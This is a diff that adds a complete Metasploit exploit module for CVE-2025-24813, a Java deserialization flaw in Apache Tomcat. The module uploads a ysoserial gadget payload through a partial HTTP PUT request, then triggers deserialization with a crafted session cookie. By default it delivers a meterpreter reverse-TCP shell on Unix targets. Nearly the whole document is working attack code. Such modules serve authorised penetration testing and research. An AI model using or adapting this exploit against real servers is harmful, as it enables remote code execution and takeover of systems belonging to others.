|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::JavaDeserialization |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super( |
| 17 | + update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'Tomcat Partial PUT Java Deserialization', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a Java deserialization vulnerability in Apache |
| 22 | + Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to |
| 23 | + place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory. |
| 24 | +
|
| 25 | + For the exploit to succeed, writes must be enabled for the default servlet, |
| 26 | + and org.apache.catalina.session.PersistentManager must be configured to use |
| 27 | + org.apache.catalina.session.FileStore. |
| 28 | +
|
| 29 | + Verified working on 10.1.16-1 |
| 30 | + }, |
| 31 | + 'Author' => [ |
| 32 | + 'sw0rd1ight', # Discovery |
| 33 | + 'Calum Hutton', # MSF Module |
| 34 | + 'h4ck3r-04' # MSF Module |
| 35 | + ], |
| 36 | + 'References' => [ |
| 37 | + ['CVE', '2025-24813'], |
| 38 | + ['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'], |
| 39 | + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'], |
| 40 | + ], |
| 41 | + 'DisclosureDate' => '2025-03-10', # Vendor release note |
| 42 | + 'License' => MSF_LICENSE, |
| 43 | + 'Platform' => ['unix', 'linux', 'win'], |
| 44 | + 'Arch' => [ARCH_CMD], |
| 45 | + 'Privileged' => false, |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Unix Command', |
| 49 | + { |
| 50 | + 'Platform' => ['unix', 'linux'], |
| 51 | + 'Arch' => ARCH_CMD, |
| 52 | + 'Type' => :unix_cmd, |
| 53 | + 'DefaultOptions' => { |
| 54 | + 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' |
| 55 | + } |
| 56 | + } |
| 57 | + ], |
| 58 | + [ |
| 59 | + 'Windows Command', |
| 60 | + { |
| 61 | + 'Platform' => 'win', |
| 62 | + 'Arch' => ARCH_CMD, |
| 63 | + 'Type' => :windows_cmd |
| 64 | + } |
| 65 | + ], |
| 66 | + ], |
| 67 | + 'DefaultTarget' => 0, |
| 68 | + 'DefaultOptions' => { |
| 69 | + 'SSL' => false, |
| 70 | + 'RPORT' => 443 |
| 71 | + }, |
| 72 | + 'Notes' => { |
| 73 | + 'Stability' => [CRASH_SAFE], |
| 74 | + 'Reliability' => [REPEATABLE_SESSION], |
| 75 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] |
| 76 | + } |
| 77 | + ) |
| 78 | + ) |
| 79 | + |
| 80 | + register_options([ |
| 81 | + OptString.new('TARGETURI', [true, 'Base path', '/']), |
| 82 | + OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']), |
| 83 | + ]) |
| 84 | + end |
| 85 | + |
| 86 | + def check |
| 87 | + # Advanced check, runs the full exploit (without a command) |
| 88 | + # Assumes a 500 response from requesting the session indicates success |
| 89 | + begin |
| 90 | + upload_session_id = upload_payload('') |
| 91 | + unless upload_session_id |
| 92 | + return Exploit::CheckCode::Safe |
| 93 | + end |
| 94 | + rescue Msf::Exploit::Failed => e |
| 95 | + return CheckCode::Safe(e) |
| 96 | + end |
| 97 | + |
| 98 | + trigger_res = trigger_payload(upload_session_id) |
| 99 | + if trigger_res&.code != 500 |
| 100 | + Exploit::CheckCode::Safe |
| 101 | + end |
| 102 | + |
| 103 | + Exploit::CheckCode::Vulnerable |
| 104 | + end |
| 105 | + |
| 106 | + def exploit |
| 107 | + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") |
| 108 | + execute_command(payload.encoded) |
| 109 | + end |
| 110 | + |
| 111 | + def execute_command(cmd, _opts = {}) |
| 112 | + print_status("Utilizing #{datastore['GADGET']} deserialization chain") |
| 113 | + |
| 114 | + upload_session_id = upload_payload(cmd) |
| 115 | + unless upload_session_id |
| 116 | + fail_with(Failure::UnexpectedReply, 'Failed to upload payload') |
| 117 | + end |
| 118 | + |
| 119 | + print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT") |
| 120 | + print_status('Attempting to deserialize session file..') |
| 121 | + |
| 122 | + trigger_payload_res = trigger_payload(upload_session_id) |
| 123 | + unless trigger_payload_res&.code == 500 |
| 124 | + fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}") |
| 125 | + end |
| 126 | + |
| 127 | + print_good('500 error response usually indicates success :)') |
| 128 | + end |
| 129 | + |
| 130 | + def upload_payload(cmd) |
| 131 | + # Generate a random session id |
| 132 | + session_id = Rex::Text.rand_text_alpha(10) |
| 133 | + # Determine the shell and register the payload for cleanup |
| 134 | + case target['Platform'] |
| 135 | + when ['unix', 'linux'] |
| 136 | + shell = 'bash' |
| 137 | + register_file_for_cleanup("../webapps/ROOT/#{session_id}.session") |
| 138 | + when 'win' |
| 139 | + shell = 'cmd' |
| 140 | + register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}") |
| 141 | + else |
| 142 | + fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})") |
| 143 | + end |
| 144 | + |
| 145 | + res = send_partial_put( |
| 146 | + generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd), |
| 147 | + "#{session_id}.session" |
| 148 | + ) |
| 149 | + |
| 150 | + # 201/204 is the normal success code |
| 151 | + # 409 indicates a conflict or file permission issue |
| 152 | + # but the partial file will still be created |
| 153 | + if [201, 204, 409].include?(res&.code) |
| 154 | + session_id |
| 155 | + end |
| 156 | + end |
| 157 | + |
| 158 | + def trigger_payload(session_id) |
| 159 | + # Request the session id to retrieve the file and trigger deserialization |
| 160 | + request = { |
| 161 | + 'method' => 'GET', |
| 162 | + 'uri' => normalize_uri(target_uri.path), |
| 163 | + 'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" } |
| 164 | + } |
| 165 | + send_request_cgi(request) |
| 166 | + end |
| 167 | + |
| 168 | + def send_partial_put(data, name) |
| 169 | + request = { |
| 170 | + 'method' => 'PUT', |
| 171 | + 'uri' => normalize_uri(target_uri.path, name), |
| 172 | + 'headers' => { 'Content-Range' => 'bytes 0-5/100' }, |
| 173 | + 'data' => data |
| 174 | + } |
| 175 | + send_request_cgi(request) |
| 176 | + end |
| 177 | + |
| 178 | +end |
0 commit comments